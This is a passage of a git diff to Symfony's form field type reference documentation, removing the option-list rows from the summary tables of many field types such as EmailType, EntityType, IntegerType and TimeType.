-+----------------------+-----------------------------------------------------------------------------+
 | Parent type          | :doc:`FormType </reference/forms/types/form>`                               |
 +----------------------+-----------------------------------------------------------------------------+
 | Class                | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\DateTimeType`      |
diff --git a/reference/forms/types/email.rst b/reference/forms/types/email.rst
index 74eeaa95272..e3b4c5c5e00 100644
--- a/reference/forms/types/email.rst
+++ b/reference/forms/types/email.rst
@@ -10,23 +10,6 @@ The ``EmailType`` field is a text field that is rendered using the HTML5
 +-------------+---------------------------------------------------------------------+
 | Rendered as | ``input`` ``email`` field (a text box)                              |
 +-------------+---------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                           |
-| options     | - `data`_                                                           |
-|             | - `disabled`_                                                       |
-|             | - `empty_data`_                                                     |
-|             | - `error_bubbling`_                                                 |
-|             | - `error_mapping`_                                                  |
-|             | - `help`_                                                           |
-|             | - `help_attr`_                                                      |
-|             | - `help_html`_                                                      |
-|             | - `label`_                                                          |
-|             | - `label_attr`_                                                     |
-|             | - `label_format`_                                                   |
-|             | - `mapped`_                                                         |
-|             | - `required`_                                                       |
-|             | - `row_attr`_                                                       |
-|             | - `trim`_                                                           |
-+-------------+---------------------------------------------------------------------+
 | Parent type | :doc:`TextType </reference/forms/types/text>`                       |
 +-------------+---------------------------------------------------------------------+
 | Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\EmailType` |
diff --git a/reference/forms/types/entity.rst b/reference/forms/types/entity.rst
index cf245c2c275..293b6ba81af 100644
--- a/reference/forms/types/entity.rst
+++ b/reference/forms/types/entity.rst
@@ -12,49 +12,6 @@ objects from the database.
 +-------------+------------------------------------------------------------------+
 | Rendered as | can be various tags (see :ref:`forms-reference-choice-tags`)     |
 +-------------+------------------------------------------------------------------+
-| Options     | - `choice_label`_                                                |
-|             | - `class`_                                                       |
-|             | - `em`_                                                          |
-|             | - `query_builder`_                                               |
-+-------------+------------------------------------------------------------------+
-| Overridden  | - `choice_name`_                                                 |
-| options     | - `choice_value`_                                                |
-|             | - `choices`_                                                     |
-|             | - `data_class`_                                                  |
-+-------------+------------------------------------------------------------------+
-| Inherited   | from the :doc:`ChoiceType </reference/forms/types/choice>`:      |
-| options     |                                                                  |
-|             | - `choice_attr`_                                                 |
-|             | - `choice_translation_domain`_                                   |
-|             | - `expanded`_                                                    |
-|             | - `group_by`_                                                    |
-|             | - `multiple`_                                                    |
-|             | - `placeholder`_                                                 |
-|             | - `preferred_choices`_                                           |
-|             | - `translation_domain`_                                          |
-|             | - `trim`_                                                        |
-|             |                                                                  |
-|             | from the :doc:`FormType </reference/forms/types/form>`:          |
-|             |                                                                  |
-|             | - `attr`_                                                        |
-|             | - `data`_                                                        |
-|             | - `disabled`_                                                    |
-|             | - `empty_data`_                                                  |
-|             | - `error_bubbling`_                                              |
-|             | - `error_mapping`_                                               |
-|             | - `help`_                                                        |
-|             | - `help_attr`_                                                   |
-|             | - `help_html`_                                                   |
-|             | - `label`_                                                       |
-|             | - `label_attr`_                                                  |
-|             | - `label_format`_                                                |
-|             | - `mapped`_                                                      |
-|             | - `required`_                                                    |
-|             | - `row_attr`_                                                    |
-|             | - `label_translation_parameters`_                                |
-|             | - `attr_translation_parameters`_                                 |
-|             | - `help_translation_parameters`_                                 |
-+-------------+------------------------------------------------------------------+
 | Parent type | :doc:`ChoiceType </reference/forms/types/choice>`                |
 +-------------+------------------------------------------------------------------+
 | Class       | :class:`Symfony\\Bridge\\Doctrine\\Form\\Type\\EntityType`       |
diff --git a/reference/forms/types/file.rst b/reference/forms/types/file.rst
index 66a18560577..78ea0362ee2 100644
--- a/reference/forms/types/file.rst
+++ b/reference/forms/types/file.rst
@@ -9,26 +9,6 @@ The ``FileType`` represents a file input in your form.
 +-------------+---------------------------------------------------------------------+
 | Rendered as | ``input`` ``file`` field                                            |
 +-------------+---------------------------------------------------------------------+
-| Options     | - `multiple`_                                                       |
-+-------------+---------------------------------------------------------------------+
-| Overridden  | - `compound`_                                                       |
-| options     | - `data_class`_                                                     |
-|             | - `empty_data`_                                                     |
-+-------------+---------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                           |
-| options     | - `disabled`_                                                       |
-|             | - `error_bubbling`_                                                 |
-|             | - `error_mapping`_                                                  |
-|             | - `help`_                                                           |
-|             | - `help_attr`_                                                      |
-|             | - `help_html`_                                                      |
-|             | - `label`_                                                          |
-|             | - `label_attr`_                                                     |
-|             | - `label_format`_                                                   |
-|             | - `mapped`_                                                         |
-|             | - `required`_                                                       |
-|             | - `row_attr`_                                                       |
-+-------------+---------------------------------------------------------------------+
 | Parent type | :doc:`FormType </reference/forms/types/form>`                       |
 +-------------+---------------------------------------------------------------------+
 | Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\FileType`  |
diff --git a/reference/forms/types/form.rst b/reference/forms/types/form.rst
index 55d0a03a7e5..a9a3fc2a1e2 100644
--- a/reference/forms/types/form.rst
+++ b/reference/forms/types/form.rst
@@ -7,45 +7,6 @@ FormType Field
 The ``FormType`` predefines a couple of options that are then available
 on all types for which ``FormType`` is the parent.
 
-+-----------+--------------------------------------------------------------------+
-| Options   | - `action`_                                                        |
-|           | - `allow_extra_fields`_                                            |
-|           | - `by_reference`_                                                  |
-|           | - `compound`_                                                      |
-|           | - `constraints`_                                                   |
-|           | - `data`_                                                          |
-|           | - `data_class`_                                                    |
-|           | - `empty_data`_                                                    |
-|           | - `error_bubbling`_                                                |
-|           | - `error_mapping`_                                                 |
-|           | - `extra_fields_message`_                                          |
-|           | - `help`_                                                          |
-|           | - `help_attr`_                                                     |
-|           | - `help_html`_                                                     |
-|           | - `help_translation_parameters`_                                   |
-|           | - `inherit_data`_                                                  |
-|           | - `invalid_message`_                                               |
-|           | - `invalid_message_parameters`_                                    |
-|           | - `label_attr`_                                                    |
-|           | - `label_format`_                                                  |
-|           | - `mapped`_                                                        |
-|           | - `method`_                                                        |
-|           | - `post_max_size_message`_                                         |
-|           | - `property_path`_                                                 |
-|           | - `required`_                                                      |
-|           | - `trim`_                                                          |
-|           | - `validation_groups`_                                             |
-+-----------+--------------------------------------------------------------------+
-| Inherited | - `attr`_                                                          |
-| options   | - `auto_initialize`_                                               |
-|           | - `block_name`_                                                    |
-|           | - `block_prefix`_                                                  |
-|           | - `disabled`_                                                      |
-|           | - `label`_                                                         |
-|           | - `row_attr`_                                                      |
-|           | - `translation_domain`_                                            |
-|           | - `label_translation_parameters`_                                  |
-|           | - `attr_translation_parameters`_                                   |
 +-----------+--------------------------------------------------------------------+
 | Parent    | none                                                               |
 +-----------+--------------------------------------------------------------------+
diff --git a/reference/forms/types/hidden.rst b/reference/forms/types/hidden.rst
index 1a74e107555..cd9968cd6a8 100644
--- a/reference/forms/types/hidden.rst
+++ b/reference/forms/types/hidden.rst
@@ -9,18 +9,6 @@ The hidden type represents a hidden input field.
 +-------------+----------------------------------------------------------------------+
 | Rendered as | ``input`` ``hidden`` field                                           |
 +-------------+----------------------------------------------------------------------+
-| Overridden  | - `compound`_                                                        |
-| options     | - `error_bubbling`_                                                  |
-|             | - `required`_                                                        |
-+-------------+----------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                            |
-| options     | - `data`_                                                            |
-|             | - `empty_data`_                                                      |
-|             | - `error_mapping`_                                                   |
-|             | - `mapped`_                                                          |
-|             | - `property_path`_                                                   |
-|             | - `row_attr`_                                                        |
-+-------------+----------------------------------------------------------------------+
 | Parent type | :doc:`FormType </reference/forms/types/form>`                        |
 +-------------+----------------------------------------------------------------------+
 | Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\HiddenType` |
diff --git a/reference/forms/types/integer.rst b/reference/forms/types/integer.rst
index d228f4f8145..8ac061ebf7d 100644
--- a/reference/forms/types/integer.rst
+++ b/reference/forms/types/integer.rst
@@ -16,30 +16,6 @@ integers. By default, all non-integer values (e.g. 6.78) will round down
 +-------------+-----------------------------------------------------------------------+
 | Rendered as | ``input`` ``number`` field                                            |
 +-------------+-----------------------------------------------------------------------+
-| Options     | - `grouping`_                                                         |
-|             | - `rounding_mode`_                                                    |
-+-------------+-----------------------------------------------------------------------+
-| Overridden  | - `compound`_                                                         |
-| options     | - `scale`_                                                            |
-+-------------+-----------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                             |
-| options     | - `data`_                                                             |
-|             | - `disabled`_                                                         |
-|             | - `empty_data`_                                                       |
-|             | - `error_bubbling`_                                                   |
-|             | - `error_mapping`_                                                    |
-|             | - `help`_                                                             |
-|             | - `help_attr`_                                                        |
-|             | - `help_html`_                                                        |
-|             | - `invalid_message`_                                                  |
-|             | - `invalid_message_parameters`_                                       |
-|             | - `label`_                                                            |
-|             | - `label_attr`_                                                       |
-|             | - `label_format`_                                                     |
-|             | - `mapped`_                                                           |
-|             | - `required`_                                                         |
-|             | - `row_attr`_                                                         |
-+-------------+-----------------------------------------------------------------------+
 | Parent type | :doc:`FormType </reference/forms/types/form>`                         |
 +-------------+-----------------------------------------------------------------------+
 | Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\IntegerType` |
diff --git a/reference/forms/types/language.rst b/reference/forms/types/language.rst
index c3e47bb7b0c..25a0f294c94 100644
--- a/reference/forms/types/language.rst
+++ b/reference/forms/types/language.rst
@@ -23,38 +23,6 @@ manually, but then you should just use the ``ChoiceType`` directly.
 +-------------+------------------------------------------------------------------------+
 | Rendered as | can be various tags (see :ref:`forms-reference-choice-tags`)           |
 +-------------+------------------------------------------------------------------------+
-| Options     | - `alpha3`_                                                            |
-|             | - `choice_translation_locale`_                                         |
-+-------------+------------------------------------------------------------------------+
-| Overridden  | - `choices`_                                                           |
-| options     | - `choice_translation_domain`_                                         |
-+-------------+------------------------------------------------------------------------+
-| Inherited   | from the :doc:`ChoiceType </reference/forms/types/choice>`             |
-| options     |                                                                        |
-|             | - `error_bubbling`_                                                    |
-|             | - `error_mapping`_                                                     |
-|             | - `expanded`_                                                          |
-|             | - `multiple`_                                                          |
-|             | - `placeholder`_                                                       |
-|             | - `preferred_choices`_                                                 |
-|             | - `trim`_                                                              |
-|             |                                                                        |
-|             | from the :doc:`FormType </reference/forms/types/form>`                 |
-|             |                                                                        |
-|             | - `attr`_                                                              |
-|             | - `data`_                                                              |
-|             | - `disabled`_                                                          |
-|             | - `empty_data`_                                                        |
-|             | - `help`_                                                              |
-|             | - `help_attr`_                                                         |
-|             | - `help_html`_                                                         |
-|             | - `label`_                                                             |
-|             | - `label_attr`_                                                        |
-|             | - `label_format`_                                                      |
-|             | - `mapped`_                                                            |
-|             | - `required`_                                                          |
-|             | - `row_attr`_                                                          |
-+-------------+------------------------------------------------------------------------+
 | Parent type | :doc:`ChoiceType </reference/forms/types/choice>`                      |
 +-------------+------------------------------------------------------------------------+
 | Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\LanguageType` |
diff --git a/reference/forms/types/locale.rst b/reference/forms/types/locale.rst
index 385cc4f6fd8..af9dc14be31 100644
--- a/reference/forms/types/locale.rst
+++ b/reference/forms/types/locale.rst
@@ -24,37 +24,6 @@ manually, but then you should just use the ``ChoiceType`` directly.
 +-------------+------------------------------------------------------------------------+
 | Rendered as | can be various tags (see :ref:`forms-reference-choice-tags`)           |
 +-------------+------------------------------------------------------------------------+
-| Options     | - `choice_translation_locale`_                                         |
-+-------------+------------------------------------------------------------------------+
-| Overridden  | - `choices`_                                                           |
-| options     | - `choice_translation_domain`_                                         |
-+-------------+------------------------------------------------------------------------+
-| Inherited   | from the :doc:`ChoiceType </reference/forms/types/choice>`             |
-| options     |                                                                        |
-|             | - `error_bubbling`_                                                    |
-|             | - `error_mapping`_                                                     |
-|             | - `expanded`_                                                          |
-|             | - `multiple`_                                                          |
-|             | - `placeholder`_                                                       |
-|             | - `preferred_choices`_                                                 |
-|             | - `trim`_                                                              |
-|             |                                                                        |
-|             | from the :doc:`FormType </reference/forms/types/form>`                 |
-|             |                                                                        |
-|             | - `attr`_                                                              |
-|             | - `data`_                                                              |
-|             | - `disabled`_                                                          |
-|             | - `empty_data`_                                                        |
-|             | - `help`_                                                              |
-|             | - `help_attr`_                                                         |
-|             | - `help_html`_                                                         |
-|             | - `label`_                                                             |
-|             | - `label_attr`_                                                        |
-|             | - `label_format`_                                                      |
-|             | - `mapped`_                                                            |
-|             | - `required`_                                                          |
-|             | - `row_attr`_                                                          |
-+-------------+------------------------------------------------------------------------+
 | Parent type | :doc:`ChoiceType </reference/forms/types/choice>`                      |
 +-------------+------------------------------------------------------------------------+
 | Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\LocaleType`   |
diff --git a/reference/forms/types/money.rst b/reference/forms/types/money.rst
index 9fd1d4a95f4..6cc6e276517 100644
--- a/reference/forms/types/money.rst
+++ b/reference/forms/types/money.rst
@@ -14,33 +14,6 @@ how the input and output of the data is handled.
 +-------------+---------------------------------------------------------------------+
 | Rendered as | ``input`` ``text`` field                                            |
 +-------------+---------------------------------------------------------------------+
-| Options     | - `currency`_                                                       |
-|             | - `divisor`_                                                        |
-|             | - `grouping`_                                                       |
-|             | - `rounding_mode`_                                                  |
-|             | - `scale`_                                                          |
-+-------------+---------------------------------------------------------------------+
-| Overridden  | - `compound`_                                                       |
-| options     |                                                                     |
-+-------------+---------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                           |
-| options     | - `data`_                                                           |
-|             | - `disabled`_                                                       |
-|             | - `empty_data`_                                                     |
-|             | - `error_bubbling`_                                                 |
-|             | - `error_mapping`_                                                  |
-|             | - `help`_                                                           |
-|             | - `help_attr`_                                                      |
-|             | - `help_html`_                                                      |
-|             | - `invalid_message`_                                                |
-|             | - `invalid_message_parameters`_                                     |
-|             | - `label`_                                                          |
-|             | - `label_attr`_                                                     |
-|             | - `label_format`_                                                   |
-|             | - `mapped`_                                                         |
-|             | - `required`_                                                       |
-|             | - `row_attr`_                                                       |
-+-------------+---------------------------------------------------------------------+
 | Parent type | :doc:`FormType </reference/forms/types/form>`                       |
 +-------------+---------------------------------------------------------------------+
 | Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\MoneyType` |
diff --git a/reference/forms/types/number.rst b/reference/forms/types/number.rst
index 6e9215c276a..c1459d4d3a6 100644
--- a/reference/forms/types/number.rst
+++ b/reference/forms/types/number.rst
@@ -11,33 +11,6 @@ that you want to use for your number.
 +-------------+----------------------------------------------------------------------+
 | Rendered as | ``input`` ``text`` field                                             |
 +-------------+----------------------------------------------------------------------+
-| Options     | - `grouping`_                                                        |
-|             | - `html5`_                                                           |
-|             | - `input`_                                                           |
-|             | - `scale`_                                                           |
-|             | - `rounding_mode`_                                                   |
-+-------------+----------------------------------------------------------------------+
-| Overridden  | - `compound`_                                                        |
-| options     |                                                                      |
-+-------------+----------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                            |
-| options     | - `data`_                                                            |
-|             | - `disabled`_                                                        |
-|             | - `empty_data`_                                                      |
-|             | - `error_bubbling`_                                                  |
-|             | - `error_mapping`_                                                   |
-|             | - `help`_                                                            |
-|             | - `help_attr`_                                                       |
-|             | - `help_html`_                                                       |
-|             | - `invalid_message`_                                                 |
-|             | - `invalid_message_parameters`_                                      |
-|             | - `label`_                                                           |
-|             | - `label_attr`_                                                      |
-|             | - `label_format`_                                                    |
-|             | - `mapped`_                                                          |
-|             | - `required`_                                                        |
-|             | - `row_attr`_                                                        |
-+-------------+----------------------------------------------------------------------+
 | Parent type | :doc:`FormType </reference/forms/types/form>`                        |
 +-------------+----------------------------------------------------------------------+
 | Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\NumberType` |
diff --git a/reference/forms/types/password.rst b/reference/forms/types/password.rst
index 37acff1a616..9fc067c03c9 100644
--- a/reference/forms/types/password.rst
+++ b/reference/forms/types/password.rst
@@ -9,26 +9,6 @@ The ``PasswordType`` field renders an input password text box.
 +-------------+------------------------------------------------------------------------+
 | Rendered as | ``input`` ``password`` field                                           |
 +-------------+------------------------------------------------------------------------+
-| Options     | - `always_empty`_                                                      |
-+-------------+------------------------------------------------------------------------+
-| Overridden  | - `trim`_                                                              |
-| options     |                                                                        |
-+-------------+------------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                              |
-| options     | - `disabled`_                                                          |
-|             | - `empty_data`_                                                        |
-|             | - `error_bubbling`_                                                    |
-|             | - `error_mapping`_                                                     |
-|             | - `help`_                                                              |
-|             | - `help_attr`_                                                         |
-|             | - `help_html`_                                                         |
-|             | - `label`_                                                             |
-|             | - `label_attr`_                                                        |
-|             | - `label_format`_                                                      |
-|             | - `mapped`_                                                            |
-|             | - `required`_                                                          |
-|             | - `row_attr`_                                                          |
-+-------------+------------------------------------------------------------------------+
 | Parent type | :doc:`TextType </reference/forms/types/text>`                          |
 +-------------+------------------------------------------------------------------------+
 | Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\PasswordType` |
diff --git a/reference/forms/types/percent.rst b/reference/forms/types/percent.rst
index b6a516fffc0..549403bc89f 100644
--- a/reference/forms/types/percent.rst
+++ b/reference/forms/types/percent.rst
@@ -15,31 +15,6 @@ the input.
 +-------------+-----------------------------------------------------------------------+
 | Rendered as | ``input`` ``text`` field                                              |
 +-------------+-----------------------------------------------------------------------+
-| Options     | - `scale`_                                                            |
-|             | - `symbol`_                                                           |
-|             | - `type`_                                                             |
-+-------------+-----------------------------------------------------------------------+
-| Overridden  | - `compound`_                                                         |
-| options     |                                                                       |
-+-------------+-----------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                             |
-| options     | - `data`_                                                             |
-|             | - `disabled`_                                                         |
-|             | - `empty_data`_                                                       |
-|             | - `error_bubbling`_                                                   |
-|             | - `error_mapping`_                                                    |
-|             | - `help`_                                                             |
-|             | - `help_attr`_                                                        |
-|             | - `help_html`_                                                        |
-|             | - `invalid_message`_                                                  |
-|             | - `invalid_message_parameters`_                                       |
-|             | - `label`_                                                            |
-|             | - `label_attr`_                                                       |
-|             | - `label_format`_                                                     |
-|             | - `mapped`_                                                           |
-|             | - `required`_                                                         |
-|             | - `row_attr`_                                                         |
-+-------------+-----------------------------------------------------------------------+
 | Parent type | :doc:`FormType </reference/forms/types/form>`                         |
 +-------------+-----------------------------------------------------------------------+
 | Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\PercentType` |
diff --git a/reference/forms/types/radio.rst b/reference/forms/types/radio.rst
index ae0d58d2fe4..3a50f571d91 100644
--- a/reference/forms/types/radio.rst
+++ b/reference/forms/types/radio.rst
@@ -16,28 +16,6 @@ If you want to have a boolean field, use :doc:`CheckboxType </reference/forms/ty
 +-------------+---------------------------------------------------------------------+
 | Rendered as | ``input`` ``radio`` field                                           |
 +-------------+---------------------------------------------------------------------+
-| Inherited   | from the :doc:`CheckboxType </reference/forms/types/checkbox>`:     |
-| options     |                                                                     |
-|             | - `value`_                                                          |
-|             |                                                                     |
-|             | from the :doc:`FormType </reference/forms/types/form>`:             |
-|             |                                                                     |
-|             | - `attr`_                                                           |
-|             | - `data`_                                                           |
-|             | - `disabled`_                                                       |
-|             | - `empty_data`_                                                     |
-|             | - `error_bubbling`_                                                 |
-|             | - `error_mapping`_                                                  |
-|             | - `help`_                                                           |
-|             | - `help_attr`_                                                      |
-|             | - `help_html`_                                                      |
-|             | - `label`_                                                          |
-|             | - `label_attr`_                                                     |
-|             | - `label_format`_                                                   |
-|             | - `mapped`_                                                         |
-|             | - `required`_                                                       |
-|             | - `row_attr`_                                                       |
-+-------------+---------------------------------------------------------------------+
 | Parent type | :doc:`CheckboxType </reference/forms/types/checkbox>`               |
 +-------------+---------------------------------------------------------------------+
 | Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\RadioType` |
diff --git a/reference/forms/types/range.rst b/reference/forms/types/range.rst
index 02817682bcb..c13f7730bb6 100644
--- a/reference/forms/types/range.rst
+++ b/reference/forms/types/range.rst
@@ -10,22 +10,6 @@ The ``RangeType`` field is a slider that is rendered using the HTML5
 +-------------+---------------------------------------------------------------------+
 | Rendered as | ``input`` ``range`` field (slider in HTML5 supported browser)       |
 +-------------+---------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                           |
-| options     | - `data`_                                                           |
-|             | - `disabled`_                                                       |
-|             | - `empty_data`_                                                     |
-|             | - `error_bubbling`_                                                 |
-|             | - `error_mapping`_                                                  |
-|             | - `help`_                                                           |
-|             | - `help_attr`_                                                      |
-|             | - `help_html`_                                                      |
-|             | - `label`_                                                          |
-|             | - `label_attr`_                                                     |
-|             | - `mapped`_                                                         |
-|             | - `required`_                                                       |
-|             | - `row_attr`_                                                       |
-|             | - `trim`_                                                           |
-+-------------+---------------------------------------------------------------------+
 | Parent type | :doc:`TextType </reference/forms/types/text>`                       |
 +-------------+---------------------------------------------------------------------+
 | Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\RangeType` |
diff --git a/reference/forms/types/repeated.rst b/reference/forms/types/repeated.rst
index c78e6cc318e..592ec1c14d9 100644
--- a/reference/forms/types/repeated.rst
+++ b/reference/forms/types/repeated.rst
@@ -12,27 +12,6 @@ accuracy.
 +-------------+------------------------------------------------------------------------+
 | Rendered as | input ``text`` field by default, but see `type`_ option                |
 +-------------+------------------------------------------------------------------------+
-| Options     | - `first_name`_                                                        |
-|             | - `first_options`_                                                     |
-|             | - `options`_                                                           |
-|             | - `second_name`_                                                       |
-|             | - `second_options`_                                                    |
-|             | - `type`_                                                              |
-+-------------+------------------------------------------------------------------------+
-| Overridden  | - `error_bubbling`_                                                    |
-| options     |                                                                        |
-+-------------+------------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                              |
-| options     | - `data`_                                                              |
-|             | - `error_mapping`_                                                     |
-|             | - `help`_                                                              |
-|             | - `help_attr`_                                                         |
-|             | - `help_html`_                                                         |
-|             | - `invalid_message`_                                                   |
-|             | - `invalid_message_parameters`_                                        |
-|             | - `mapped`_                                                            |
-|             | - `row_attr`_                                                          |
-+-------------+------------------------------------------------------------------------+
 | Parent type | :doc:`FormType </reference/forms/types/form>`                          |
 +-------------+------------------------------------------------------------------------+
 | Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\RepeatedType` |
diff --git a/reference/forms/types/reset.rst b/reference/forms/types/reset.rst
index 914e4dfb428..6fd9b99d7fb 100644
--- a/reference/forms/types/reset.rst
+++ b/reference/forms/types/reset.rst
@@ -9,14 +9,6 @@ A button that resets all fields to their original values.
 +----------------------+---------------------------------------------------------------------+
 | Rendered as          | ``input`` ``reset`` tag                                             |
 +----------------------+---------------------------------------------------------------------+
-| Inherited            | - `attr`_                                                           |
-| options              | - `attr_translation_parameters`_                                    |
-|                      | - `disabled`_                                                       |
-|                      | - `label`_                                                          |
-|                      | - `label_translation_parameters`_                                   |
-|                      | - `row_attr`_                                                       |
-|                      | - `translation_domain`_                                             |
-+----------------------+---------------------------------------------------------------------+
 | Parent type          | :doc:`ButtonType </reference/forms/types/button>`                   |
 +----------------------+---------------------------------------------------------------------+
 | Class                | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\ResetType` |
diff --git a/reference/forms/types/search.rst b/reference/forms/types/search.rst
index e0f8233aa5b..586628559de 100644
--- a/reference/forms/types/search.rst
+++ b/reference/forms/types/search.rst
@@ -12,22 +12,6 @@ Read about the input search field at `DiveIntoHTML5.info`_
 +-------------+----------------------------------------------------------------------+
 | Rendered as | ``input search`` field                                               |
 +-------------+----------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                            |
-| options     | - `disabled`_                                                        |
-|             | - `empty_data`_                                                      |
-|             | - `error_bubbling`_                                                  |
-|             | - `error_mapping`_                                                   |
-|             | - `help`_                                                            |
-|             | - `help_attr`_                                                       |
-|             | - `help_html`_                                                       |
-|             | - `label`_                                                           |
-|             | - `label_attr`_                                                      |
-|             | - `label_format`_                                                    |
-|             | - `mapped`_                                                          |
-|             | - `required`_                                                        |
-|             | - `row_attr`_                                                        |
-|             | - `trim`_                                                            |
-+-------------+----------------------------------------------------------------------+
 | Parent type | :doc:`TextType </reference/forms/types/text>`                        |
 +-------------+----------------------------------------------------------------------+
 | Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\SearchType` |
diff --git a/reference/forms/types/submit.rst b/reference/forms/types/submit.rst
index 2743a447760..911ceb58eca 100644
--- a/reference/forms/types/submit.rst
+++ b/reference/forms/types/submit.rst
@@ -9,18 +9,6 @@ A submit button.
 +----------------------+----------------------------------------------------------------------+
 | Rendered as          | ``button`` ``submit`` tag                                            |
 +----------------------+----------------------------------------------------------------------+
-| Options              | - `validate`_                                                        |
-+----------------------+----------------------------------------------------------------------+
-| Inherited            | - `attr`_                                                            |
-| options              | - `attr_translation_parameters`_                                     |
-|                      | - `disabled`_                                                        |
-|                      | - `label`_                                                           |
-|                      | - `label_format`_                                                    |
-|                      | - `label_translation_parameters`_                                    |
-|                      | - `row_attr`_                                                        |
-|                      | - `translation_domain`_                                              |
-|                      | - `validation_groups`_                                               |
-+----------------------+----------------------------------------------------------------------+
 | Parent type          | :doc:`ButtonType </reference/forms/types/button>`                    |
 +----------------------+----------------------------------------------------------------------+
 | Class                | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\SubmitType` |
diff --git a/reference/forms/types/tel.rst b/reference/forms/types/tel.rst
index f6c19391ada..f2f79adfe5a 100644
--- a/reference/forms/types/tel.rst
+++ b/reference/forms/types/tel.rst
@@ -16,23 +16,6 @@ to input phone numbers.
 +-------------+---------------------------------------------------------------------+
 | Rendered as | ``input`` ``tel`` field (a text box)                                |
 +-------------+---------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                           |
-| options     | - `data`_                                                           |
-|             | - `disabled`_                                                       |
-|             | - `empty_data`_                                                     |
-|             | - `error_bubbling`_                                                 |
-|             | - `error_mapping`_                                                  |
-|             | - `help`_                                                           |
-|             | - `help_attr`_                                                      |
-|             | - `help_html`_                                                      |
-|             | - `label`_                                                          |
-|             | - `label_attr`_                                                     |
-|             | - `label_format`_                                                   |
-|             | - `mapped`_                                                         |
-|             | - `required`_                                                       |
-|             | - `row_attr`_                                                       |
-|             | - `trim`_                                                           |
-+-------------+---------------------------------------------------------------------+
 | Parent type | :doc:`TextType </reference/forms/types/text>`                       |
 +-------------+---------------------------------------------------------------------+
 | Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\TelType`   |
diff --git a/reference/forms/types/text.rst b/reference/forms/types/text.rst
index a12af8e778f..c7002a79a08 100644
--- a/reference/forms/types/text.rst
+++ b/reference/forms/types/text.rst
@@ -9,26 +9,6 @@ The TextType field represents the most basic input text field.
 +-------------+--------------------------------------------------------------------+
 | Rendered as | ``input`` ``text`` field                                           |
 +-------------+--------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                          |
-| options     | - `data`_                                                          |
-|             | - `disabled`_                                                      |
-|             | - `empty_data`_                                                    |
-|             | - `error_bubbling`_                                                |
-|             | - `error_mapping`_                                                 |
-|             | - `help`_                                                          |
-|             | - `help_attr`_                                                     |
-|             | - `help_html`_                                                     |
-|             | - `label`_                                                         |
-|             | - `label_attr`_                                                    |
-|             | - `label_format`_                                                  |
-|             | - `mapped`_                                                        |
-|             | - `required`_                                                      |
-|             | - `row_attr`_                                                      |
-|             | - `trim`_                                                          |
-+-------------+--------------------------------------------------------------------+
-| Overridden  | - `compound`_                                                      |
-| options     |                                                                    |
-+-------------+--------------------------------------------------------------------+
 | Parent type | :doc:`FormType </reference/forms/types/form>`                      |
 +-------------+--------------------------------------------------------------------+
 | Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\TextType` |
diff --git a/reference/forms/types/textarea.rst b/reference/forms/types/textarea.rst
index 8a28262aec6..a0e1dde7d9a 100644
--- a/reference/forms/types/textarea.rst
+++ b/reference/forms/types/textarea.rst
@@ -9,23 +9,6 @@ Renders a ``textarea`` HTML element.
 +-------------+------------------------------------------------------------------------+
 | Rendered as | ``textarea`` tag                                                       |
 +-------------+------------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                              |
-| options     | - `data`_                                                              |
-|             | - `disabled`_                                                          |
-|             | - `empty_data`_                                                        |
-|             | - `error_bubbling`_                                                    |
-|             | - `error_mapping`_                                                     |
-|             | - `help`_                                                              |
-|             | - `help_attr`_                                                         |
-|             | - `help_html`_                                                         |
-|             | - `label`_                                                             |
-|             | - `label_attr`_                                                        |
-|             | - `label_format`_                                                      |
-|             | - `mapped`_                                                            |
-|             | - `required`_                                                          |
-|             | - `row_attr`_                                                          |
-|             | - `trim`_                                                              |
-+-------------+------------------------------------------------------------------------+
 | Parent type | :doc:`TextType </reference/forms/types/text>`                          |
 +-------------+------------------------------------------------------------------------+
 | Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\TextareaType` |
diff --git a/reference/forms/types/time.rst b/reference/forms/types/time.rst
index ee457813f88..5d2c6276f98 100644
--- a/reference/forms/types/time.rst
+++ b/reference/forms/types/time.rst
@@ -15,39 +15,6 @@ stored as a ``DateTime`` object, a string, a timestamp or an array.
 +----------------------+-----------------------------------------------------------------------------+
 | Rendered as          | can be various tags (see below)                                             |
 +----------------------+-----------------------------------------------------------------------------+
-| Options              | - `choice_translation_domain`_                                              |
-|                      | - `placeholder`_                                                            |
-|                      | - `hours`_                                                                  |
-|                      | - `html5`_                                                                  |
-|                      | - `input`_                                                                  |
-|                      | - `input_format`_                                                           |
-|                      | - `minutes`_                                                                |
-|                      | - `model_timezone`_                                                         |
-|                      | - `reference_date`_                                                         |
-|                      | - `seconds`_                                                                |
-|                      | - `view_timezone`_                                                          |
-|                      | - `widget`_                                                                 |
-|                      | - `with_minutes`_                                                           |
-|                      | - `with_seconds`_                                                           |
